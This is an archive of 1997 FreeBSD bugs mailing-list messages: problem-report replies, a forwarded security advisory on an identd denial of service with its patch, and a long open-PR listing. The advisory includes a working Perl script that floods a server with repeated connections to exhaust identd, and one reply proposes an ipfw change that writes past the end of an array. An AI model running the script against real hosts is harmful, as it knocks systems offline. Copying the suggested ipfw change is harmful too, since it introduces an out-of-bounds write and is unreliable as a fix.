>Last-Modified: >Originator: Geoff Buckingham >Organization: Demon Internet >Release: FreeBSD 2.2.2-RELEASE i386 >Environment: >Description: Double precision division by zero produces a floating point exception. (Yes I know things shouldn't do this, but some do as other OSs return Max Int if you do this.) I assume this occurs because division is done as a a floating point operation? >How-To-Repeat: See above. >Fix: Either check for zero values, or don't use FP >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Aug 4 09:00:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA07564 for bugs-outgoing; Mon, 4 Aug 1997 09:00:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA07543; Mon, 4 Aug 1997 09:00:02 -0700 (PDT) Date: Mon, 4 Aug 1997 09:00:02 -0700 (PDT) Message-Id: <199708041600.JAA07543@hub.freebsd.org> To: freebsd-bugs Cc: From: Daniel Holmes Subject: Re: bin/4209: ipfw does not work with multiple digit interface numbers Reply-To: Daniel Holmes Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4209; it has been noted by GNATS. From: Daniel Holmes To: nate@mt.sri.com Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/4209: ipfw does not work with multiple digit interface numbers Date: Mon, 4 Aug 1997 15:58:51 GMT Hmm, this works in 2.1-stable: # /sbin/ipfw add 65000 deny log all from any to any via etha16 Just tried it on 2.2-RELEASE, no go. I'll check some sources and see what has changed. What's the output of: # ifconfig etha16 # ifconfig -a ed0: flags=8843 mtu 1500 inet 207.108.157.97 netmask 0xfffffff0 broadcast 207.108.157.111 ether 00:c0:26:38:ab:4a lp0: flags=8810 mtu 1500 eth0: flags=41 mtu 1500 inet 192.168.1.3 netmask 0xffffffff lo0: flags=8049 mtu 16384 inet 127.0.0.1 netmask 0xff000000 etha16: flags=8051 mtu 1500 inet 206.80.195.22 --> 206.80.195.21 netmask 0xfffffffc I did check the source to ipfw.c over the weekend, and it looks like when it sets up the unit name and number, it sets the last character from the string to a null but it looks like it gets everything after the first digit on the unit number. At line 742 in ipfw.c: rule.fw_via_name[sizeof(rule.fw_via_name) - 1] = '\0'; changing that to rule.fw_via_name[sizeof(rule.fw_via_name)] = '\0'; at least makes the rule show up correctly in the 'ipfw list' command, but I don't know if it actually does any good, or not. I did notice that it doesn't accept 3 digit unit numbers, but that is a secondary concern at the moment. uname gives: FreeBSD ns1.recoverycoll.com 2.2.2-RELEASE FreeBSD 2.2.2-RELEASE #0: Wed Jul 2 14:38:29 GMT 1997 danielh@hwroom.dakcs.com:/usr/src/sys/compile/FIREWALL i386 Any ideas? Thanks, Dan -- Daniel D Holmes, N7NKR "Mr. Worf, fire at will!" I'net: DANIELH@DAKCS.COM "Hey--where'd Riker go?" Standard disclaimers apply wherever you can find a sticky spot. From owner-freebsd-bugs Mon Aug 4 09:15:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA08193 for bugs-outgoing; Mon, 4 Aug 1997 09:15:42 -0700 (PDT) Received: from relay.ucb.crimea.ua (ru@relay.ucb.crimea.ua [194.93.177.113]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA08177 for ; Mon, 4 Aug 1997 09:15:22 -0700 (PDT) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.8.5/8.8.5) id TAA23764 for freebsd-bugs@freebsd.org; Mon, 4 Aug 1997 19:14:18 +0300 (EET DST) From: Ruslan Ermilov Message-Id: <199708041614.TAA23764@relay.ucb.crimea.ua> Subject: CPSR #8: identd Denial of Service (fwd) To: freebsd-bugs@freebsd.org Date: Mon, 4 Aug 1997 19:14:17 +0300 (EET DST) X-My-Interests: Unix,Oracle,Networking X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Once Corinne Posse Releases wrote: >From owner-bugtraq@NETSPACE.ORG Mon Aug 4 18:12:57 1997 Approved-By: aleph1@UNDERGROUND.ORG X-Sender: releases@corinne.cpio.org MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: Date: Mon, 4 Aug 1997 09:19:54 -0500 Reply-To: Corinne Posse Releases Sender: Bugtraq List From: Corinne Posse Releases Subject: CPSR #8: identd Denial of Service To: BUGTRAQ@NETSPACE.ORG ************** Corinne Posse Security Notice ************** Issue Number 8: 970803 ************** http://posse.cpio.org ************** **** Denial of Service care of identd **** A massive amount of authorization requests to identd (pidentd and others) can cause system load to skyrocket, making the system unusable. Affected Sites: FreeBSD, NetBSD, Linux, SCO, Solaris, IRIX, and OpenBSD prior to 8/1/97. ANY system running pidentd. Problem: A massive amount of ident requests causes the identd daemon to "spin" because the daemon does not correctly close the socket from the host that issues a request. This is due to a poorly implemented incantation of wait(). The improper code perpetuates the identd process and allows the process to hang, slowing system performance considerably. On average, 2-3 spinning processes slow the system noticeably-- 10-15 make the system unusable. Bear in mind that this is all based on the speed of the system and the above numbers hold true for machines like a p5/100 with 32M of RAM. Simply "kill -9 (ident's PIDs)" fixes the problem if it occurs. Fix: Thanks to Theo de Raadt of the OpenBSD project, we are proud to announce that OpenBSD has fixed this problem, and that the following patches are available. OpenBSD uses a modified version of pidentd. Index: libexec/identd/identd.c =================================================================== RCS file: /cvs/src/libexec/identd/identd.c,v retrieving revision 1.4 retrieving revision 1.5 diff -r1.4 -r1.5 2c2 < ** $Id: identd.c,v 1.4 1997/07/23 20:36:27 kstailey Exp $ --- > ** $Id: identd.c,v 1.5 1997/07/29 07:49:31 deraadt Exp $ 180a181 > int save_errno = errno; 184a186 > errno = save_errno; Exploit: This problem was discovered simultaneously by Jack0 as well as Jonathan Katz. Jack0 noticed that a user's repeated requests to an IRC server spawned many identd processes on his local machine, bringing his box to a crawl. Jon noticed that after someone sent email to the various mailing lists he runs, the many hosts receiving the mail would make ident requests and leave his system paralyzed. To see if your system is vulnerable, Jack0 has come up with a PERL script that repeatedly tries to connect to an IRC server. With a little tinkering, the script can be used to adapt to a variety of different services if you want or need to test other services. #!/usr/bin/perl # Ident abuse script which can be used to test for the identd vulnerability # on the local system. # jack0@cpio.org for questions #include use Socket; my($h,$p,$in_addr,$proto,$addr); $h = "$ARGV[0]"; $p = 6667 if (!$ARGV[1]); if (!$h) { print "Host name most be specified i.e.,; some.server.net\n"; } $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); &connect; sub connect { print "Connection in progress:\n"; socket(S, AF_INET, SOCK_STREAM, $proto) or die $!; connect(S,$addr) or die $!; select S; $| = 1; print "QUIT\n"; select STDOUT; close S; &connect; } Concept by: Jack0 (jack0@cpio.org) and Jonathan Katz (jkatz@cpio.org) Special Thanks To: Theo de Raadt -- Ruslan A. Ermilov System Administrator ru@ucb.crimea.ua United Commercial Bank +380-652-247647 Simferopol, Crimea 2426679 ICQ Network, UIN From owner-freebsd-bugs Mon Aug 4 09:50:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA10025 for bugs-outgoing; Mon, 4 Aug 1997 09:50:03 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA10015; Mon, 4 Aug 1997 09:50:01 -0700 (PDT) Date: Mon, 4 Aug 1997 09:50:01 -0700 (PDT) Message-Id: <199708041650.JAA10015@hub.freebsd.org> To: freebsd-bugs Cc: From: Bruce Evans Subject: Re: i386/4226: Floating point exception for double precision divion by zero Reply-To: Bruce Evans Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR i386/4226; it has been noted by GNATS. From: Bruce Evans To: FreeBSD-gnats-submit@FreeBSD.ORG, geoffb@demon.net Cc: Subject: Re: i386/4226: Floating point exception for double precision divion by zero Date: Tue, 5 Aug 1997 02:45:15 +1000 >Double precision division by zero produces a floating point exception. >(Yes I know things shouldn't do this, but some do as other OSs return Max >Int if you do this.) I assume this occurs because division is done as a >a floating point operation? It occurs because some people prefer getting SIGFPE to getting possibly wrong results by default. In FreeBSD, exceptions for floating point division by zero can be masked using fpsetmask(). There is no portable way to do this. Bruce From owner-freebsd-bugs Mon Aug 4 10:06:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA11552 for bugs-outgoing; Mon, 4 Aug 1997 10:06:20 -0700 (PDT) Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA10829 for freebsd-bugs@freebsd.org; Mon, 4 Aug 1997 10:00:27 -0700 (PDT) Date: Mon, 4 Aug 1997 10:00:27 -0700 (PDT) Message-Id: <199708041700.KAA10829@hub.freebsd.org> From: FreeBSD bugmaster To: FreeBSD bugs list Subject: Current problem reports Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Current FreeBSD problem reports The following is a listing of current problems submitted by FreeBSD users. These represent problem reports covering all versions including experimental development code and obsolete releases. Bugs can be in one of several states: o - open A problem report has been submitted, no sanity checking performed. a - analyzed The report has been examined by a team member and evaluated. f - feedback The problem has been solved, and the originator has been given a patch or a fix has been committed. The PR remains in this state pending a response from the originator. s - suspended Work on the problem has been postponed. This happens if a timely solution is not possible or is not cost-effective at the present time. The PR continues to exist, though a solution is not being actively sought. If the problem cannot be solved at all, it will be closed, rather than suspended. c - closed A problem report is closed when any changes have been integrated, documented, and tested. Critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- a [1995/01/11] i386/105 bde Distributed libm (msun) has non-standard o [1995/02/14] kern/216 davidg /kernel: panic: ffs_alloccg: map corrupte a [1996/01/22] kern/965 bde 2.0.5: system crashes daily because of "m o [1996/04/06] kern/1121 dyson System crashes on boot up just after the o [1996/05/07] kern/1177 dyson Machine hangs with message "vm_fork: no p f [1996/06/05] kern/1293 Fatal trap 12: page fault while in kernel o [1996/06/11] kern/1311 dyson Panic: vm_page_free while installing new a [1996/07/15] bin/1387 davidn Group file errors cause absolute havoc a [1996/08/09] kern/1487 bde bug in exec(2) o [1996/09/11] kern/1599 panic: locking against myself s [1996/09/13] conf/1608 FreeBSD's bug tracking system does not re o [1996/09/29] bin/1694 rbootd does not appear to work o [1996/09/30] kern/1698 sup from around 21:51 GMT 28th very unsta a [1996/10/08] kern/1744 run queue or proc list smashed 4 times in o [1996/10/13] kern/1790 access to /dev/kmem panics system f [1996/10/28] kern/1919 se access to files/directories fails, gives o [1996/11/01] kern/1940 TCP doesn't time out of FIN_WAIT_1 and fl o [1996/11/04] i386/1959 DELAY() won't work for fast CPUs o [1996/11/29] kern/2121 MAXBSIZE in param.h causes kernel panic i o [1996/12/14] i386/2218 cy.c XON/XOFF handling crashes kernel o [1996/12/20] bin/2258 wollman route add/delete [network] xxx.yyy.zzz.0 f [1997/01/01] ports/2352 ports wu-ftp port does not work with DES crypte o [1997/01/03] conf/2367 gibbs Buslogic SCSI driver bad probe of 742A EI f [1997/01/04] kern/2371 gibbs SCSI disk corruption o [1997/01/14] kern/2498 On installation, after selecting drivers, o [1997/01/25] bin/2581 imp security holes in libtermcap o [1997/01/27] bin/2599 Lite2 merg and critical bugfix for games/ o [1997/02/06] kern/2680 bde bind of a local domain socket does not re o [1997/02/11] kern/2717 Panic with daily script (find) o [1997/02/14] bin/2740 wpaul root-fs full erases password table ! o [1997/02/21] misc/2795 Cyclades 8YO -- Not working under 2.1.6-S o [1997/02/26] bin/2821 jkh XFree86 distributed with 2.2-GAMMA corrup o [1997/02/28] bin/2837 Globalyst550 Disk-Drive Not found!! o [1997/03/04] kern/2877 Fatal Trap 12: page fault while in kernel o [1997/03/05] kern/2890 System panic after kernel compiled for 12 o [1997/03/08] kern/2923 panic: vm_fault: fault on nofault entry, o [1997/03/13] kern/2980 2.2 crashes after accessing DAT-tape. bot o [1997/03/15] kern/3000 Kernel Panic in 2.2-CURRENT Kernel o [1997/03/16] kern/3005 can't completely install 2.1.7 release; s o [1997/03/17] kern/3017 panic: page fault as of March 11th v2.2 o [1997/03/17] bin/3019 Can't use SCSI disk (SCSI ID>3) on instal o [1997/03/23] misc/3070 Cannot do post install mods to UNIX from o [1997/03/23] kern/3072 Kernel Page Fault During Install of 2.1.7 o [1997/03/25] ports/3102 tg teTex port destroys previous contents of o [1997/03/25] kern/3103 vi large_file --> reboot without panic o [1997/03/26] ports/3106 torstenb pidentd exits with signal 6 o [1997/03/26] bin/3115 date command dumps core o [1997/03/27] kern/3128 Can't Install FreeBSD 2.2.1 o [1997/03/28] bin/3131 dlsym() does not set error on error, brea o [1997/03/30] kern/3150 Cyrix 6x86L-P200+ crashes w/ page fault o [1997/04/01] ports/3165 ports tex-3.14159.tgz lacks file o [1997/04/07] bin/3226 mpp vi died with a core dump o [1997/04/08] kern/3234 ipfilter.shar - integration complete o [1997/04/11] kern/3259 /bin/ps: kernel kernel, lockups, performa o [1997/04/12] kern/3267 mtime/ctime sometimes updated when a prog o [1997/04/15] i386/3300 Adaptec 2940U Problems o [1997/04/17] kern/3312 Adaptec 2940 still causes timeout using 2 o [1997/04/17] i386/3316 FOLLOWUP:Adaptec 2940U Problems->Addition o [1997/04/20] kern/3359 FreeBSD wont boot on amd p133 o [1997/04/21] kern/3366 ipx stack or ep driver o [1997/04/22] bin/3374 Cannot Install FreeBSD 2.2.1 - installati o [1997/04/26] kern/3392 System panics every few hours o [1997/04/27] ports/3394 max jp-Wnn-4.2 fails to make personal diction o [1997/04/28] kern/3404 frequent kernel panics o [1997/05/01] i386/3462 using a PS/2 mouse causes kernel trap in o [1997/05/05] bin/3510 xsm does not work! o [1997/05/07] ports/3536 ports MakeTexPK calls gftopk with wron argument o [1997/05/12] misc/3586 The boot.flp file is too large to image t o [1997/05/13] kern/3594 EAGAIN and garbage data when reading sock o [1997/05/16] kern/3609 fs on remote host is mounted via NFS, rec o [1997/05/17] misc/3615 Error in /usr/src/lib/libc/gen/sigsetops. o [1997/05/21] bin/3650 Ypserv dumps core randomly. o [1997/05/23] kern/3671 SCSI tape drive with AHA 2940 locks up sy o [1997/05/24] kern/3674 NFS in 2.2 RELEASE hangs. o [1997/05/26] kern/3690 vm problems on 2.2, 2.1.7 works o [1997/05/27] kern/3696 kernel panic during wd hard disk probe if o [1997/05/27] conf/3698 sysinstall does not save parameters enter o [1997/05/27] misc/3700 FPE error in "normal" math code o [1997/05/30] kern/3721 kernel panic with netatalk o [1997/06/01] kern/3752 NFS dirs under -current still have proble o [1997/06/01] kern/3753 "make" hangs when building in an NFS dir o [1997/06/02] kern/3761 Inlel EtherExpress pro/100B more than on o [1997/06/08] bin/3813 make world on 2.2-STABLE dies when trying o [1997/06/11] misc/3846 The sample /etc/amd.map has a security ho o [1997/06/14] ports/3872 ports Enter key not working properly in trn por o [1997/06/16] kern/3887 fxp driver looses packets o [1997/06/17] i386/3895 False FPE (floating point exception) sign o [1997/06/25] kern/3949 The WD controller probe can fail when it o [1997/06/26] misc/3959 files in /usr/local/etc are randomly beco o [1997/07/02] bin/4018 Will not install in 2nd partition of my C o [1997/07/03] kern/4021 Local mount of a local NFS exported direc o [1997/07/07] bin/4046 srandomdev() in stdlib.h now returns void o [1997/07/10] kern/4074 Kernel panics when accessing a ccd device o [1997/07/11] kern/4076 Adaptec 2940 and non-wide devices o [1997/07/14] kern/4090 slip driver is incompatible with current o [1997/07/14] ports/4093 ports [oleo] Calculating 1/1 becomes infinity. o [1997/07/27] bin/4177 select(2) man page needs update to reflec o [1997/07/31] kern/4200 "vm_fault: fault on nofault entry" when r o [1997/08/02] kern/4217 Tek390 driver fails with other vendor's ( 99 problems total. Serious problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [1995/03/02] misc/229 bde acos() core dump a [1995/03/20] kern/260 davidg msync and munmap don't bother to update m s [1995/04/01] kern/291 se PCI devices still probe/attach after bein f [1995/05/08] bin/389 Simultaneous creation/deletion of dirs co a [1995/05/09] bin/392 Simultaneous cp and ls of files on dos f/ o [1995/05/16] kern/425 wollman arp entries not getting removed when inte a [1995/06/17] kern/527 dufault dump causes assertion in ncr.c o [1995/06/23] kern/546 pci_bus_config() does not init parent poi o [1995/07/02] kern/579 bde sio: RS_IBUFSIZE at 256 bytes serial line f [1995/07/04] kern/587 if_le hangs on OACTIVE with 2k buffer s [1995/07/21] i386/631 if_ix does not support bpf, nor does it a s [1995/07/29] kern/638 Transmitted packets not passed to bpf in f [1995/08/11] gnu/672 Nor all ph headers get created o [1995/08/22] bin/706 jmg increased root DNS traffic and long laten f [1995/09/20] kern/730 gibbs 3Com 3C5x9 probe problem f [1995/09/27] kern/750 cd9660 confused by not-ready or I/O error a [1995/10/07] bin/771 telnet character mode not set and broken o [1995/10/18] bin/786 wpaul Problem with NIS and large group maps o [1995/11/12] kern/820 gibbs scsi tape problems f [1995/11/16] bin/826 mpp tcpmux listener in inetd does not work o [1995/12/20] i386/906 davidg /sys/i386/boot/netboot/nb8390.com cannot o [1996/01/01] bin/926 Mounting nfs disks before starting mountd o [1996/02/12] kern/1020 .Boca 16-port board still hangs o [1996/02/12] docs/1023 mpp using touch to create swap file for NFS d a [1996/02/17] bin/1030 steve /bin/sh does not pass environment variabl f [1996/02/28] bin/1050 [floppy] Process (zip) hangs (unkillable) s [1996/03/06] kern/1067 mpp panic: ufs_lock: recursive lock not expec o [1996/03/09] bin/1073 telnet -8 does not work with SunOS or Sol o [1996/03/23] kern/1098 File system corruption (2 cases) o [1996/03/30] bin/1111 scrappy mail.local will happily deliver mail to a f [1996/05/14] kern/1204 umount -f after SCSI reset -> reboot o [1996/05/24] misc/1247 bde Conflicting header files f [1996/05/26] i386/1251 aha0 and bt0(eisa) conflicts again. o [1996/05/26] kern/1256 ZNYX 314 mysterously looses packets o [1996/05/28] kern/1271 phk Kernel panic using PLIP in 27/05 current o [1996/05/31] kern/1284 dyson panic: vm_page_free: freeing busy page o [1996/06/02] i386/1288 bde wdgetctlr (wd.c) return incorrect number o [1996/06/07] kern/1301 davidg DEC FDDI/PCI Adapter: halt code = 6 (DMA o [1996/06/10] kern/1308 dyson vm_page_free: wire count > 1 in 960501-SN a [1996/06/12] bin/1315 ls(1) a [1996/06/18] kern/1333 davidg free vnode isn't: another -stable coredum f [1996/07/03] bin/1364 mpp ps(1) bugs o [1996/07/19] docs/1402 steve sh(1) manual f [1996/07/24] kern/1423 wollman route causes kernel page fault. o [1996/07/25] bin/1429 steve sh(1) and getopts f [1996/08/01] bin/1454 steve /bin/sh bug handling <<[n] FD processing a [1996/08/02] docs/1457 ache ed(1) man o [1996/08/03] bin/1461 Incorrect address binding of Kerberized r o [1996/08/04] kern/1467 gibbs scsi_prevent causing tape problems on clo o [1996/08/18] kern/1512 dyson Use of madvise may may cause bad memory m o [1996/08/22] kern/1533 dyson Machine can be panicked by a userland pro o [1996/08/25] misc/1541 julian fork.o in libc_r fails to compile f [1996/09/05] kern/1570 Setting SHMALL > 35000 causes panic o [1996/09/14] kern/1610 dyson mmap() of unassociated memory + mlock() c o [1996/09/16] i386/1626 MUSTEK Scanner hangs NCR SCSI controller f [1996/09/18] kern/1637 mss driver causes feedback (squeal) on so o [1996/09/19] bin/1650 telnet encryption with char-mode and asci o [1996/09/21] kern/1661 ft driver hangs uninterruptably at "bavai o [1996/09/29] kern/1689 wollman TCP extensions throttles distant connecti o [1996/09/29] kern/1692 Page fault while in kernel modem fatal tr o [1996/10/01] bin/1702 installing of tcl manpages fails from mak o [1996/10/03] kern/1715 le driver non-reentrant o [1996/10/04] kern/1723 gibbs kernel fault when doing scsi reprobe o [1996/10/04] kern/1724 gibbs HP colorado T4000S tape drive hangs syste o [1996/10/04] kern/1726 panic in kmem_malloc (dump available) o [1996/10/10] ports/1753 markm SSLeay doesn't work against Microsoft sec o [1996/10/10] kern/1754 netbooted machines freeze with ifconfig a o [1996/10/11] bin/1773 ports A NULL pointer causing segmentation core o [1996/10/13] gnu/1787 markm Diffs with Index: lines are not honored f o [1996/10/15] bin/1810 fsck -p does not check pass 0 filesystems o [1996/10/15] kern/1812 dyson vnodes are left in a locked state o [1996/10/15] kern/1814 cy driver gets deadlocked sometimes a [1996/10/18] kern/1839 mpp Multiple mfs mounts of same mount point o [1996/10/20] kern/1848 breakpoints may be set in shared librarie o [1996/10/21] kern/1856 read-only nfs mount: panic leaf should be o [1996/10/22] ports/1866 wosch popclient flushes remote mailbox even wit o [1996/10/24] kern/1880 kernel crash during boot when using 512 M o [1996/10/25] bin/1891 mountd fails to export o [1996/10/26] bin/1892 install(1) removes target file o [1996/10/29] bin/1927 User CPU time getting accounting as syste o [1996/11/07] bin/1973 jmg pppd uses /etc/ppp/options.tty after comm o [1996/11/08] gnu/1981 ypserv handles null key incorrectly o [1996/11/13] ports/2000 asami obsolete software in distfiles directory a [1996/11/13] bin/2001 mpp vi confused about lines to display o [1996/11/13] i386/2002 sio doesn't detect com port on Compaq Con o [1996/11/14] misc/2013 'make world' fails on read-only /usr/src a [1996/11/14] kern/2014 sos Console keyboard lockup problem o [1996/11/15] bin/2016 static libtcl references symbols that are o [1996/11/15] kern/2034 julian [devfs] wd* driver "slot name rejection e o [1996/11/15] gnu/2035 peter deque bug, local gnu changes to deque hea o [1996/11/18] kern/2053 de0 driver don't work at 100M for Compex o [1996/11/24] kern/2094 wd1: interrupt timeout: o [1996/11/26] bin/2107 problem building a system from cdrom. s [1996/12/03] kern/2142 FP mask not saved for signal handlers o [1996/12/03] kern/2144 kernel panic (page fault) running chgrp o [1996/12/08] kern/2181 2.2-ALPHA flickers/wavers part of the upp o [1996/12/10] misc/2189 mpp netdb.h works not with -traditonal cc fla o [1996/12/10] bin/2191 syslogd stops logging after several hours o [1996/12/13] bin/2206 NIS Makefile can't manage appletalk entri o [1996/12/17] kern/2232 MSDOSFS corrupts MSDOS partitions > 500Mb o [1996/12/18] kern/2248 Mitsumi CD-ROM driver has "timeout" probl s [1996/12/19] bin/2255 brian Client PPP negotiates Stacker compression o [1996/12/20] bin/2256 PPP process on port will not close when a s [1996/12/22] ports/2268 ports libc from linux emulator does not use /et o [1996/12/22] kern/2270 Hayes ESP serial card locks system as of a [1996/12/25] misc/2283 ache setlocale() in libxpg4 always returns NUL o [1996/12/29] bin/2318 /usr/libexec/rlogind doesn't work after t a [1996/12/30] kern/2325 mpp quota.user enlarged, no boot on 2.2-BETA o [1996/12/30] kern/2330 changing root device to sd0a - ncr0: abor o [1997/01/01] kern/2351 panic:timeout table full o [1997/01/06] kern/2388 joerg start unit command screws up some CDROM d o [1997/01/07] gnu/2394 tar will extract files even if -C command f [1997/01/07] kern/2401 joerg 2.2 RELENG sometimes locks up early on bo o [1997/01/08] kern/2425 amd driver does not reprobe devices. o [1997/01/08] conf/2426 At end of install, panic: Going nowhere w o [1997/01/09] bin/2430 mountd stops on loading if subnet mask is o [1997/01/09] i386/2431 panic: get_pv_entry: cannot get a pv_entr o [1997/01/12] i386/2471 Sound: Reset failed - Can't reopen device o [1997/01/13] misc/2479 sos NEC CD-ROM NOT RECOGNIZED; MATROX MISTIQU o [1997/01/13] bin/2489 mpp gnats mangles sections o [1997/01/16] kern/2507 Renaming DOS directories with "mv" causes o [1997/01/18] kern/2521 kernel from 2.1.6 install CD doesn't acce o [1997/01/20] kern/2538 worm burning suddenly broken o [1997/01/20] bin/2541 cd (using /bin/sh) may leave you in the w o [1997/01/20] kern/2545 se < sd0(ncr0:6:0): COMMAND FAILED ==> Not a [1997/01/21] bin/2549 sos cdcontrol refuses to play audio CDs from f [1997/01/21] misc/2551 davidn limit too small for user root o [1997/01/23] kern/2569 route -iface breaks inet behaivour f [1997/01/24] kern/2570 fenner arpresolve: cant allocate llinfo o [1997/01/25] bin/2591 sh coredumps when passing an argv of a ce o [1997/01/26] bin/2597 everything stops when the new ld.so is in o [1997/01/29] kern/2613 ache syscons mistakes MONO for MONO VGA o [1997/01/29] misc/2614 make reinstall does not work o [1997/01/29] bin/2616 Installs very irratically from the same c o [1997/01/31] kern/2628 code clean up of sys/sys o [1997/01/31] kern/2632 enabling psm mouse causes keyboard to not o [1997/01/31] bin/2633 fsck -p in /etc/rc fails with cannot allo o [1997/02/02] kern/2640 2.2-RELENG leaks memory (router/pppd serv s [1997/02/03] kern/2647 changing existing route to -static crashe o [1997/02/04] ports/2664 elm methodically writes garbage into fold o [1997/02/05] kern/2667 wollman bpfattach can hang the system f [1997/02/05] bin/2670 fetch fails with HTTP_PROXY o [1997/02/05] bin/2671 Run-away processes using all CPU time a [1997/02/06] kern/2675 lkmcioctl() is not consistent and careful o [1997/02/07] kern/2690 asami When Using ccd in a mirror mode, file cre o [1997/02/08] kern/2695 sio1 (16540 serial port) is not recognize o [1997/02/09] kern/2698 After rewind I cannot read a tape; blocks o [1997/02/12] kern/2719 added support for magneto-optical SCSI di o [1997/02/13] ports/2731 ports new port: Tcl 8.0A2 o [1997/02/14] kern/2732 mcopy 3.0 causes kernel hang o [1997/02/14] bin/2736 No boot block if no FreeBSD partitions on o [1997/02/15] kern/2742 panic: leaf should be empty o [1997/02/15] bin/2747 davidn cannot submit at jobs from within an at j o [1997/02/16] gnu/2749 peter cvs export using remote cvs fails - CVS/T o [1997/02/17] kern/2751 asami 2GB limitation on CCD device partitions s o [1997/02/18] bin/2762 Precedence mistake in libncurses o [1997/02/19] kern/2768 ktrace(1) -i dumps corrupted trace data o [1997/02/19] bin/2769 fsck needs several runs to clean up bad/d o [1997/02/19] kern/2770 panic: vm_fault: fault on nofault entry o [1997/02/19] kern/2771 panic: bad dir f [1997/02/19] kern/2772 gibbs panic: %s:%c:%d: Target did not send an I o [1997/02/19] kern/2773 bad dir panic o [1997/02/20] misc/2781 jkh Installation crashes if timeout in ftp tr o [1997/02/20] misc/2784 brian userland PPP rises load to 1.00 o [1997/02/20] bin/2785 wpaul callbootd uses an unitialized variable o [1997/02/20] gnu/2786 gcc version 2.7.2.1 C compiler slows down o [1997/02/21] misc/2793 libc_r make fscanf failure o [1997/02/22] kern/2800 DDS large data writing probrem o [1997/02/25] kern/2815 Custom Kernel crashes o [1997/02/27] bin/2829 jkh FTP installs can only fail once o [1997/02/28] bin/2832 w treats corrupted utmp as fatal error o [1997/03/01] kern/2840 mlock+minherit+fork+munlock causes panics o [1997/03/02] bin/2844 libedit sync with NetBSD/OpenBSD o [1997/03/03] i386/2853 syscons beeps even if beeping screen is n o [1997/03/03] kern/2858 dfr FreeBSD NFS client can't mount filesystem o [1997/03/03] bin/2867 sysinstall goes into an infinite loop dur o [1997/03/04] kern/2873 the od0 devies does not handle a Maxoptix o [1997/03/04] docs/2874 The gencat command hasn't got a manual pa o [1997/03/07] bin/2915 the "-fstype ufs" option of "find" seems o [1997/03/07] ports/2918 ports Unable to pass 8+ command line arguments o [1997/03/08] kern/2919 vm_fault: fault on nofault entry, addr: f o [1997/03/09] bin/2925 non-priviledged user can crash FreeBSD!! o [1997/03/11] bin/2948 can't dump 640MB optical disks o [1997/03/11] ports/2956 ports New Port: xgospel-1.10d in ftp.freebsd.or o [1997/03/12] kern/2965 st0 hang/fail on reading 4mm DAT tape for o [1997/03/12] bin/2969 csh and/or builtin printf has problems wi o [1997/03/12] bin/2973 output of iostat is wrong. o [1997/03/15] kern/2991 RTF_LLINFO routes remain when interface i a [1997/03/15] ports/2994 ports xpm port does not build for the first tim o [1997/03/18] kern/3021 panic after sync during reboot o [1997/03/18] kern/3029 typo in libc o [1997/03/19] kern/3039 higher securelevel (>0) stops X server o [1997/03/21] i386/3048 multicast support necessery in some drive o [1997/03/21] kern/3054 OPL3 sound off by one note o [1997/03/21] bin/3055 umount -f does not work o [1997/03/24] i386/3082 keyboard locks up unexpectedly o [1997/03/24] i386/3083 Toshiba XM-5702B ATAPI CDROM not detected o [1997/03/24] bin/3085 make world fails on compiling dumpfs.c o [1997/03/24] misc/3086 panic: cannot mount root - on boot, when o [1997/03/25] kern/3104 Cannot execute files on a nullfs filesyst o [1997/03/26] conf/3109 unintellible upgrade doc o [1997/03/27] kern/3122 _POSIX_SAVED_IDS not defined in 2.2 o [1997/03/27] conf/3123 /stand/sysintstall does not perform to up o [1997/03/27] i386/3124 BOOT_PROBE_KEYBOARD hangs system in bootb o [1997/03/27] bin/3126 Install with mcd0 still broken. o [1997/03/27] bin/3127 PCI Ether card slower than ISA Ether card o [1997/03/28] i386/3130 Dell Latitude keyboard lock up o [1997/03/28] misc/3133 TIOCSETD error with Cyclades 8Yo o [1997/03/30] gnu/3149 patch-2.1: files possibly created in wron o [1997/03/31] kern/3156 Copying to floppy device file locks machi o [1997/03/31] bin/3158 seg faults and cannot update links using f [1997/04/01] kern/3162 2.2 kernel from mar 25th crashes on nfs s o [1997/04/01] bin/3170 vi freaks and dump core if user doesn't e o [1997/04/02] kern/3180 mlock() causes panic: lockmgr: upgrade ex o [1997/04/04] i386/3195 ahc panic o [1997/04/05] kern/3201 de0 not re-enabled after hub down o [1997/04/05] ports/3205 jmz Mtools-3.0 attempts to flock() a disk par o [1997/04/05] kern/3209 3.0-current panics on shutdown/reboot/hal o [1997/04/06] kern/3216 panic: pmap_zero_page: CMAP busy o [1997/04/06] kern/3219 sppp or arnet gets looped after connectio o [1997/04/08] bin/3230 Unable to resolve dev conflict between ed o [1997/04/09] kern/3244 ipfw flush closes connections o [1997/04/10] bin/3246 mtree -c should escape whitespace and spe o [1997/04/11] ports/3256 ache ncftp-2.4.2 in packages-2.2 was not linke o [1997/04/11] docs/3257 make cleandepend is broken in src/ o [1997/04/12] kern/3263 troubles with digiboard o [1997/04/13] kern/3278 mounting MFS uses up swap space o [1997/04/14] misc/3291 md2.h, md4.h, and md5.h headers useless f o [1997/04/15] bin/3305 Can't do encrypted rlogin into self o [1997/04/16] 